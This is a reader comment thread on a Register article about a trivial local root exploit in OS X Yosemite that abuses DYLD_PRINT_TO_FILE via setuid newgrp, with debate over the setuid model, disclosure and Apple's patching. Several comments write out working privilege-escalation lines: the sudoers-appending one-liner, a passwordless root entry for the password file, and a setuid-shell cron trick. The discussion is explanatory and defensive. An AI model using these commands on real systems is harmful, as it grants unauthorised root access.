Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet You can bypass Apple's space-age security, and gain administrator-level privileges on an OS X Yosemite Mac, using code that fits in a tweet. Yosemite, aka version 10.10, is the latest stable release of the Mac operating system, so a lot of people are affected by this vulnerability. The security bug can be exploited by a logged …
This post has been deleted by its author
The only way this would be useful would be if you could find an unpatched machine and exploit the EFI vulnerability that was exposed a while ago. For everything else, they already have remote imaging capacity built into the OS, and the bigger stores at least have some other interesting tools running on servers on the local network - at minimum there's some sort of Enhanced Hardware Diagnostic tool on there - I tried to find out more, but unfortunately despite my asking nicely last time I had to take a work machine in to be fixed, the Genius in question refused to tell me anything about them.
(It'd be interesting to know more either from someone who is working/has worked at an Apple Store, or from someone cleverer/ballsier than I who can get their own sniffer onto the LAN in question...)
Is the deliberately holed *nix security model. Once again a SUID/setuid utility strikes.
Because of SUID, the *nix security model is not a security boundary. A security boundary guarantees that every access is checked against an access policy or permission set. By design, the *nix model is that if you are root you bypass all security checks.
It is a deliberate hole, drilled in the model out of necessity since the model is otherwise not capable of expression necessary permissions in modern environments.
This is going to bite again and again like it has been responsible for numerous vulnerabilities and exploits in the past.
How? We don't let the dynamic linker open arbitrary files for writing using the current processes' permissions because the current processes' permissions might be system-wide.
This looks like a thing that Apple thought was cool in-house, someone had a brainwave and said "wouldn't this be cool for our developers", and it got included.
It wouldn't have got into any of the proper BSDs, I tell you that much.
Is the deliberately holed *nix security model. Once again a SUID/setuid utility strikes.
You are very confused and clearly don't understand where the problem lies: it comes from the fact that an admin program (in this case, the newgrp) changes it behaviour (here, indirectly) based on input from a dubious low-privilege source (here, an environment variable).
This can happen in any system in which the user from time to time needs to have the system perform an operation with privileges that are higher than he has himself.
Which happen to be all of them. Even the bureaucratic ones.
This is also why setuid programs should always scrub their environment before they perform their operation.
This all sounds somewhat like the original example given for the Confused Deputy Problem.
Maybe someone can comment about whether SELinux capabilities would be good safety net against such mishaps.
Maybe someone can comment about whether SELinux capabilities would be good safety net against such mishaps.
Assuming the SELinux contexts were set up properly[1], the exploit as posted would be entirely obviated; newgrp has no need to write to sudoers, and would not be permitted to do so, even if it were being run by root.
That said, something like visudo (if installed) would get around that ;-(
Vic.
[1] I've seen SELinux set up in pretty much an "allow everything" mode; it's *technicallly* running, but provides essentially no protection at all. This is, quite obviously, not how you're supposed to do things...
Scrub the environment, never pass variables to programs that need them, such as sudo.
Isn't it wonderful to have to go back to logging in as root?
The solution is, don't break a good security system to pander to lusers and perform security evaluations when making any change, rather than garbage code being introduced into production code.
Well, there are two upsides for me. One, I never upgraded to that tanglecoded OS and my MacBook Pro is currently dead, after imbibing excessively of wine.
"That would be my choice. If there are tasks that normal users need to perform frequently enough to make logging in as root too cumbersome, then why are we making those tasks root-only in the first place?"
Probably because, in spite of their frequent use, they're inherent security risks. It's like having to pass through a security gate a hundred times a day. It's a PITA, but the bad guy only needs to be lucky ONCE.
I really hate that "*nix" nonsense. If you mean Unix then say Unix. If you don't then say what you really mean.
But it's an old tradition dating back to the 80s. Because UNIX is the original AT&T stuff(1). See also: Unix-like
Better deal with, dude.
(1) UNIX is a registered trademark in the United States and other countries, licensed exclusively through X/Open Company Ltd.
i (sic) really hate that "*nix" nonsense. If you mean Unix then say Unix.
There was a time when there were lots of Unix-like systems, but none could be called Unix because it was trademarked and would have resulted in a lawsuit. The whole SCO thing was just the last in a long line of such lawsuits. If you know *nix, you'll know that * is the "Kleene operator", or glob symbol as it's more often known, so it matches most of the alternative names or distros. Xenix comes to mind, but you might consider Posix too. Since it's humans doing the pattern matching rather than machines, stuff like HP-UX and Linux match too.
Anyway, *nix is a much preferable shorthand than "Unix(tm)-like systems".
> Lots of good stuff about SUID
Most *nix implementations makes sure that things aren't left open when using SUID, so for example LD_PRELOAD on HP-UX allows you control the loading of libraries, but not for SUID programs, where it's just ignored.
If you are going to need to make a hole in your security model, such as SUID, you have to make sure everything around it is guarded.
But no SUID and there can be no passwd command, no sudo or su etc...
But this hole is just plain dumb.
Is the deliberately holed *nix security model
With respect, I understand your viewpoint but I don't think that the setuid mechanism is fundamentally broken. I think that it's a really elegant solution for the problem of privilege escalation.
All OSes need to have the ability to run protected or kernel-level code and means of making them available via userland in some way or other. Unix-like systems (the hint is in the name) have a unified approach where root can do anything and for the most part, barring obvious programming errors, this works. Neither does the setuid model preclude you from adding extra "boundary checks", as you put it, if you want to (*). If you want more fine-grained control (was it VMS that had "capabilities", for example?) then that can be implemented within the setuid program (or use regular file permissions; though I guess you don't like the user/group idea either).
By design, the *nix model is that if you are root you bypass all security checks.
This is the main thing I disagree with. You are forgetting that root does not exist in isolation. Yes, root can run anything, but setuid programs (and user/group permissions, as above) are the gatekeepers. So in fact, even though you say there's no "security boundary", that's not true: you don't get unfettered access to root, but can only do what the permissions and setuid programs allow. As I said above, these interfaces can be used to express any sort of security model you want.
This bug was particularly stupid since the golden rule of writing setuid programs is (probably, if there were a "golden rule") not to trust any user data, environment variables included. Oh, and for Gods' sake, make sure they're statically linked so that they can't be tricked with an LD_LIBRARY_PATH. So I blame the designers, programmers and review team, not the design of Unix. No-one with an understanding (and it's not difficult to understand) of how the Unix security model works should be making these mistakes. Nor would they be making the complaints that you're making, I feel.
(*) I may follow up on this in another post.
Hmmm... I wonder why I got a downvote for the above. I didn't downvote the OP since he's stating an opinion and explaining his view. If I am wrong then a post explaining why would be so much more useful (for everyone) than a knee-jerk downvote...
Those who do not understand Unix are condemned to reinvent it, poorly--Henry Spencer.
Mmm, I'm not the OP, but much as I'd love to, no, I can't agree.
Setuid/setgid is an elegant solution, but only if you overlook the lack of granularity in the *NIX security model. Their existence is proof of a failed security model, incapable of expressing a set of privileges for a process's execution. The fact that many setuid/setgid programs are or have been vectors of attack, including particularly complex ones such as mail transfer agents or sudo which otherwise have no means of performing their required duties *, does appear to suggest that while in theory setuid/setgid bits should provide the means for programs to be "Gatekeepers", as you put it, frequently they appear incapable of it. That's why we have the (I would argue still insufficient) POSIX "Capabilities" and the ACLs which make it possible for programs to limit the damage they can cause by setting up their privileges at startup.
I agree with you that Apple made a stupid mistake here; it was probably a silly oversight of a development feature or something, as suggested elsewhere in this thread. Modern OSs now ignore LD_LIBRARY_PATH or similar when the program is setuid/setgid; they also forbid signals or tracing. The kinds of mistakes made in setuid/setgid programs are probably only noticed at all because, let's be honest, so much of the remaining, unprivileged code (that is not setuid/setgid) is written with such a rosy view of the world, and the knowledge that a mistake really *can't* result in complete system compromise.
* I refuse to use sudo on non-Apple systems, and I believe MTAs should use the submit protocol to accept mail and the traditional "sendmail" binary should be a regular program, sans setuid/setgid.
"Their existence is proof of a failed security model, incapable of expressing a set of privileges for a process's execution."
This is indeed a significant architectural limitation - and a security risk as SUDO must always run initially as root / UID0.
Windows is a good example of an OS that does it right with fine grained ACLs (and auditing) capabilities built in from the ground up, and features like constrained delegation meaning an account can have just the admin rights it needs for each task. So for instance in Windows you can set seperate permissions and audit requirements for each and every config item. On *nix you can only do it per file.
It's a long time since I worked on VMS but as I recall a user had a set of current privileges and a set of allowed privileges. The current privileges we provided at logon (minimal) and the allowed privileges could be given (by the user) to execute higher level things. Only the admin had all privileges in their allowed list. Everything else was on a need basis, assigned by the admin. Moreover, the admin could install a program with a particular privilege set, so that an unprivileged user could do something at a higher privilege, but only in the context of that running program. I thought this was a very smart way of handling privilege escalation, and better than anything I've seen since. But then VMS was better than anything I've seen since in so many ways.....
It is a deliberate hole, drilled in the model out of necessity since the model is otherwise not capable of expression necessary permissions in modern environmentsOkay, I'll bite. Aren't most 'modern environments' Unix based now? Unix. iOS. Android. STBs (BSD/Linux). Most of the rest is Windows, and I'm willing to bet you aren't going to say Windows security is superior.
Which 'modern environments' are you talking about?
Most of the rest is Windows, and I'm willing to bet you aren't going to say Windows security is superior.
You might lose that bet.
The Windows object access control system is finer-grained and more consistent than the traditional UNIX one. I won't say it's "superior", because that's a meaningless term in this domain - a security system can only be judged against a threat model, so it's pointless to claim one is superior or inferior in the abstract, and that judgement is far too complex to reduce it to a single dimension anyway.
Also, the Windows system has proven to be sufficiently complicated and confusing to be ignored by most administrators (note that most Windows administrators are non-technical end users), and a security system that's not employed doesn't do well under most threat models.
But its design does have advantages over the simplistic traditional UNIX one under many realistic threat models.
"I won't say it's "superior", because that's a meaningless term in this domain - a security system can only be judged against a threat model, so it's pointless to claim one is superior or inferior in the abstract, and that judgement is far too complex to reduce it to a single dimension anyway."
Then there appears to be a HARD problem here since a lot of "admins" aren't sophisticated enough to know how to do fine-grained control yet are pretty much the smartest users on the staff. They can only think in simple terms. From what's being described, security MUST be made simply effective but at the same time CAN'T be made simply effective. Basically, the secure-vs-easy scale again.
"Then there appears to be a HARD problem here since a lot of "admins" aren't sophisticated enough to know how to do fine-grained control yet are pretty much the smartest users on the staff. They can only think in simple terms. From what's being described, security MUST be made simply effective but at the same time CAN'T be made simply effective. Basically, the secure-vs-easy scale again."
Windows does have finer grained permissions, and heaps of other goodness, but their implementation..... well.... its HP Lovecraft's universe come real.
Congratulations on repeating exploits in detail before they can be fixed by anyone...
Yellow journalism.
However, the article does not Emphasise that you must first have privileged access through an app. Double yellow, click bait.
"Congratulations on repeating exploits in detail before they can be fixed"
Apple has fixed it. You just have to upgrade to El Capitan. Don't want to upgrade? No problem, you've been warned and are aware of the risk. There's also a workaround in the story. The exploit has been public knowledge for two weeks – the bad guys already know. You should know too.
"However, the article does not Emphasise that you must first have privileged access through an app."
You've misunderstood. This exploit allows normal software – like a simple tool you've downloaded from the web – to gain root-level access without a password. Without prompting the user for a password. That's bad.
Post less.
C.
Considering the "fix" is to adopt a beta and not a public patch, your logic is flawed.
Betas are not supposed to be installed on production-level machines. The family laptop with all your non-backed up pictures counts as a production-level machine.
"your logic is flawed."
You mean, Apple's logic. Look, the matter has gone full disclosure. I can't think of anything more frustrating than an article that says "there's a local root hole in OS X Yosemite. We won't tell you the details, you'll just have to Google it."
Bonkers.
C.
This post has been deleted by its author
Considering the "fix" is to adopt a beta and not a public patch, your logic is flawed.
Flawed logic is Apple not fixing the production version. Sure it's possible they just found out about it and El Capitan just happened to be immune but it's also possible that fixing Yosemite would be too costly so they aren't going to bother. Either way, it's better if the user is aware of it since the crims have known for weeks.
Of course Apple will fix this in the production version. It's just that the beta for El Capitan was just released yesterday while they probably need more rigorous testing before they want to push it out to production.
It's fine screwing up a beta version, not screwing up a production version...
Len, time will tell; Apple didn’t fix CVE-2015-1130, the “RootPipe” vulnerability, in OS X 10.9.5 and 10.8.5, despite their ostensible policy of still providing security fixes for these versions of OS X.
Len, time will tell; Apple didn’t fix CVE-2015-1130
Apple's record on fixing bugs is worse than Microsoft's, Adobe's, Google's and Oracle's. I guess it doesn't seem to matter if you can convince your customers to buy new hardware rather than sue you for negligence.
Apple's record on fixing bugs is worse than Microsoft's, Adobe's, Google's and Oracle's
Do you have evidence of that or are you just trying to adopt vox populi here? Microsoft's record is atrocious, Adobe's even more so to the point where you really have to think long and hard before you allow anything made by Adobe in production.
Do you have evidence of that or are you just trying to adopt vox populi here?
Yes. Microsoft and Adobe come in for a lot of criticism including from me but they have both responded to recent 0-day attacks in less than a week. Oracle has also vastly improved its patch release speed. Apple has previously taken months to release upstream security fixes (to Java in the past, more recently to openssl) especially to Safari and then there this is clusterfuck of their very own making.
This post has been deleted by its author
This shouldn't be able to work.
You shouldn't be able to edit or replace sudoers unless you're root and edit the file with the correct user.
It works because the newgrp command is effectively root, that is the only way it can work.
The dynamic loader shouldn't be honouring such environment variables for SUID or SGID programs. It's a trivial test to make. If the programmer is not aware of things like that they should not be editing something as universally used as the dynamic loader.
> Congratulations on repeating exploits in detail before they can be fixed by anyone...
When Stefan Esser tweets it, you can consider it in the public domain. At that point, raising awareness can be seen as a service to the public. El Reg does us all a service here.
I agree that security researchers should not just blurp out exploit code. I totally support responsible disclosure. But once it is out there, the bad guys certainly know about it. Telling the good guys about it so that they can prepare for it is a good thing.
Apple has fixed this in a beta of OS X. If they believe that they can silently fix security errors and nobody will know about them until they publish the advisory, then Apple is being *incredibly* naive.
I would venture a guess that Stefan Esser has diff'ed the binaries or diff'ed decompiled binaries for changes between the same utilities in different versions. Any change is potentially a security hole that has been fixed.
This is trivial, especially if you are actively looking for security vulnerabilities. Publishing code with fixed vulnerabilities is even better (from a bad guys view) then disclosing through an advisory: At that point you have everything needed to create an exploit, and the potential victims are unaware of the threat, and thus cannot defend against it.
This one would light up with the extra checks on the allowed paths. From there it is easy to infer that the current version does something incomplete.
> Yellow journalism.
It doesn't mean what you think it means.
> However, the article does not Emphasise that you must first have privileged access through an app. Double yellow, click bait.
A compromised Firefox or Safari process is a local user. This will allow an attacker to go full root on a system from there. But I am sure that there is no chance of a vulnerability in Firefox or Safari? or mail clients? or SSH?
Are you one of those who also dismisses threats of malware against OS X by referring to how it will ask you for a password before installing anything? Well, with this one there will be no password prompt, but attacker can install anything.
Congratulations on repeating exploits in detail before they can be fixed by anyone...
...because all REAL hackers get their ideas from articles on the Reg, not from attempting to target known classes of vulnerability (hint: various privilege escalation exploits are nothing new). If you think that keeping flaws like this secret from the public does anything to stop a dedicated, skilled and experienced black-hat from exploiting them, then you truly must be one of the most naïve people around.
While I've got your attention, I've got a bridge here I have to sell quickly, I've got the permits and the deeds and everything. You wouldn't be interested would you?
This post has been deleted by its author
It's also the specific stupidity of the culture of using environment variables. in this way.
And I don't care about your creaking 40 year old system design, What I care about is when your "cross platform" developers export their careless use of environment variables to Windows.
Now I'm off to re-auth my RACF creditials. Proper security there IMHO.
RACF has its virtues, but it has its faults as well. And too many applications and subsystems that use it are still stuck on 8-character passwords because they haven't been updated to use newer SAF APIs.
Of course the real problem is that terms like "proper security" are meaningless. Security is about relative costs to defenders and attackers (which can include accidents; they don't need to be malicious) under a threat model. There are no absolutes in security.
They seemed to be more interested in making phones and watches and bloody cars for Gods sake..I recently went into an Apple reseller and was quite shocked at the pathetic looking keyboards and mice they make. Jon Ives hasn't got a clue if they are his designs. So I use a PC mouse and keyboard.
If they are not interested in computers anymore sell OS X to a company that will develop the OS and make it better. Take security more seriously.
I recently went into an Apple reseller and was quite shocked at the pathetic looking keyboards and mice they make. Jon Ives hasn't got a clue if they are his designs. So I use a PC mouse and keyboard.
I use a wide Mac keyboard where I can, but I'm with you on the mouse front: I have been using a Logitech Anywhere MX for as long as it exists with Macs, I can't get on with Apple mice.
Not a great fan of the keyboards, but I can live with them. The Mighty Mouse was OK, but the (top) trackball would eventually clog up and as it's a sealed unit sorting out a proper long-lasting fix wasn't on the cards. I also used a Magic Mouse for a while. It was sort-of OK once I'd installed Magic Prefs, but I found that you really have to have your fingertips right at the edge of the mouse for clicks to be picked up properly. And then there's the fact you need to keep replacing the batteries. So now I just use an old 5-button Microsoft mouse...
I recently went into an Apple reseller and was quite shocked at the pathetic looking keyboards and mice they make.
The last decent keyboards and mice Apple made had ADB connectors.
https://en.wikipedia.org/wiki/Apple_Extended_Keyboard
https://en.wikipedia.org/wiki/Apple_Desktop_Bus_Mouse_II
That does not sounds like the correct error. You may not be using a shell that groks ">&3"?
Can anyone comment on why
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
even works? Why does "newgrp" gobble the string
"echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3"
and bravely runs it in a subshell, outputting
"vulture ALL=(ALL) NOPASSWD:ALL" to file descriptor 3???
It's the correct behaviour. Read the flaw description:
https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
DYLD_PRINT_TO_FILE opens another file descriptor for the given target *and doesn't close it afterwards* so leaks it to the subshell.
As for why it works, just try these:
echo id | newgrp
echo 'echo $HOME' | newgrp
(these work on Linux too, by the way).
* newgrp starts a shell (see 'man newgrp')
* the shell detects it's not connected to a tty, so runs in non-interactive mode (see 'man bash')
* in non-interactive mode, it reads and processes commands on stdin then terminates
The reason for using 'newgrp' in this context is because it's a setuid binary, so runs with root privileges. Of course it drops them by the time the shell is run, but by then it's too late: the DYLD_PRINT_TO_FILE feature of the dynamic linker has already opened the file, and left the open file descriptor around for the child shell to consume (as file descriptor 3, since 0-2 were already in use as stdin/stdout/stderr)
...that doesn't escalate privileges. That uses the priviliges of the user that creates the task.
But if you give another user the privilige of running a scheduled task under your username and password, (what I'll call "the unix way") then at the very least you should also protect the task so that it can't be changed by the end user.
And if you want to do that, restricting the permissions required to alter a specific schedule is trivial iwth the Windows authentication model.
But is a simple remediation just setting the /etc/sudoers file to be immutable?
bash-3.2# chflags -vv schg /etc/sudoers
/etc/sudoers: 00 -> 0400000
$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
dyld: could not open DYLD_PRINT_TO_FILE='/etc/sudoers', errno=1
bash: line 1: 3: Bad file descriptor
> But is a simple remediation just setting the /etc/sudoers file to be immutable?
Sure. Then there are only about several thousand other files which if modified or rewritten by root could be used to gain root access.
/etc/passwd and OpenDirectory are the obvious starting points, but don't forget any binary or any shared library which might be run by root.
This post has been deleted by its author
Indeed .. however until a permanent fix becomes available a little whack-a-mole remediation might be advisable to those of us who have Mac users to protect.
The password file and master password file could be set to immutable without any issue as well as they are not modified in normal use (and only used in single user mode).
So I'm now running with ...
chflags -vv schg /private/etc/ /bin/ /sbin/ /usr/bin/ /usr/sbin/ /opt/X11/bin/ /usr/lib/
for the time being. (will need to undo [noschg] that before patching though)
FOOTNOTE: if you mention 'slash etc slash passwd' in a message the posting gets auto blocked 8-)
> about several thousand other files
Just out of interest, I used find to locate all the setuid files on this Kubuntu 14.04 machine. There are 21 setuid root executables in directories in my $PATH:
04755 root /sbin/mount.nfs
04755 root /bin/mount
04755 root /bin/ping6
04755 root /bin/su
04755 root /bin/umount
04755 root /bin/fusermount
04755 root /bin/ping
04754 root /usr/sbin/pppd
04755 root /usr/bin/passwd
04711 root /usr/bin/wodim
04755 root /usr/bin/pkexec
04755 root /usr/bin/gpasswd
04755 root /usr/bin/chsh
04755 root /usr/bin/mtr
04755 root /usr/bin/sudo
06755 root /usr/bin/X
04755 root /usr/bin/traceroute6.iputils
04755 root /usr/bin/chfn
04755 root /usr/bin/lppasswd
04711 root /usr/bin/cdrdao
04755 root /usr/bin/newgrp
I can see the point of most of those. But wodim and cdrdao ... ? The wodim manpage recommends setuid root, because of driver issues (in summary). Ah, well.
Just out of interest, here's the same for Yosemite 10.10.4... security_authtrampoline is a name which inspires confidence.
/bin/ps
/bin/rcp
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
/System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner
/System/Library/PrivateFrameworks/SystemAdministration.framework/Versions/A/Resources/readconfig
/usr/bin/at
/usr/bin/atq
/usr/bin/atrm
/usr/bin/batch
/usr/bin/crontab
/usr/bin/ipcs
/usr/bin/login
/usr/bin/newgrp
/usr/bin/quota
/usr/bin/rlogin
/usr/bin/rsh
/usr/bin/su
/usr/bin/sudo
/usr/bin/top
/usr/lib/sa/sadc
/usr/libexec/authopen
/usr/libexec/security_authtrampoline
/usr/sbin/traceroute
/usr/sbin/traceroute6
But is a simple remediation just setting the /etc/sudoers file to be immutable?
Possibly, but since the bug allows you to append to any file, you'd be just whacking moles, figuratively speaking.
With the ability to append to any file, I could just write a new entry in the password file:
getroot::0:0:root:/root:/bin/bash
Then I could log in as user 'getroot' with no password, which should be effectively a synonym for the real root user.
Temporary fixes like this aren't really going to get you very far. Even if you lock down the most sensitive files, you just have to find a shell script that root will run at some point and that doesn't have an exit or exec command at the end of it. A quick check on my Debian system shows that /etc/cron.daily/0anacron fits the bill nicely. I could append something like:
EVIL=/home/frumious/.secret/shellcp /bin/bash $EVIL
chown root $EVIL
chmod +s $EVIL
Then I'd come back the following day and run my new setuid shell ...
bootnote: fucking stupid cloudflare filters kept telling me that I'd been blocked when I was trying to write the above. All because I mentioned "slash etc slash passwd", I think. You guys need to turn off that shit. How are we supposed to discuss articles if we can't even talk about a key *nix file?
There is an automatic "security" setting in alot of versions of OSX that stops you installing stuff from anywhere but the App store, you have to go in and manually change this in settings to allow me to "install from anywhere i damn well please, thank you"..... (also known as the internet), so presumably an app that uses this exploit was downloaded by YOU at YOUR OWN RISK, because Apple told you to only go to the App store and you thought you knew better ;)
It's the binaries that are signed, which means that the signing happens after compilation. So, if you download source code that source code is not signed.
You also need a private key to sign a binary. Sektioneins have their private key and use that to sign the binaries they publish. They don't give you their private key.
If you want to compile anything yourself and sign it, you have to have your own signing keys. You get them by joining the Apple Developer programme.
Just seen Sektioneins updated their blog post with a re-written autoloader version as a 'pkg' file.
I know about having to join the ADP to sign my own code, but I'm not paying Apple to fix a broken system, either by putting El Capitan on my only Mac OS system or for signing the code I need. I don't develop professionally for OS X or iOS so the Developer Program is a waste of time and money for me IMHO.
Props to Sektioneins for doing Apple's job for them though.
The lessen I've learned from Apple is that if you can't order your Mac with the RAM option maxed out then you shouldn't order one at all. Over the life time of the machine you are going to be forced to upgraded the OS versions many many times to keep security.
You also need to have the money to re-purchase your third part software repeatedly to stay compatible.
If you can't do these things. If they are impractical for you(sometimes it's not just money). Then it's best to not buy a Mac at all.
FTFY
Then you just enter a root shell with "su -" and (gasp) type root's password when you need to do something, and the pretty # is there to remind you that the safety's off.
(P.S. to be honest, I "sudo -i" all the time like a proper hypocrite, but then I'm not using any Apple nonsense. I might have a copy of OS9 but that particular iMac doesn't turn on)
RPM, on a Mac? The purpose was not to disguise but to quickly and temporarily disable it on OSX. Of course, I am just assuming /usr/bin/which is on there as well. That was for lazy people. Naturally it would be best to know and specifically target the right binary, so nobody could have masked it by dropping an executable dummy "sudo" in an earlier PATH... I'll give you that.
The enviroment variable is used to redirect print output to a file and the problem comes in because the process using the variable has its got root access or the sudousers file is write enabled for non-root accounts.
So the solution to retain security is to prevent modification of security files via sudo, personally I never liked sudo anyway and it was always easy enough to open a root shell. Even keeping sudo they could just move the print to file into userland
Making things easier by usurping your security is Microsoft's mindset and disease like this really shouldnt cross the species barrier, time for Apple devs to get their heads straight
Once you get his signed kext Bandaid, then you need to figure out how to make it load.
1st, after copying it into /System/Library/Extensions, you need to get the file ownership & permissions right, and strip off all the Apple Quarantine attributes.
2nd, you need to craft & install a /Library/LaunchDaemons plist file as a sparkplug to fire it up.
It works, but maybe not for the casual or feint of heart user. He might have made it easier,
but hey, he has to earn a living too, and if you don't know what you're doing by this point
you probably should not be doing this.
__outer
"Because of SUID, the *nix security model is not a security boundary. A security boundary guarantees that every access is checked against an access policy or permission set. By design, the *nix model is that if you are root you bypass all security checks."
True
"It is a deliberate hole, drilled in the model out of necessity since the model is otherwise not capable of expression necessary permissions in modern environments."
Well, modern unixes do have numerous groups for things like audio, scanner (if you have a scanner connected), and so on, members of a group can access a resource and otherwise you can't. This allows more granular access than "user" or "root", but nevertheless it's true root is used quite a bit.
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2025
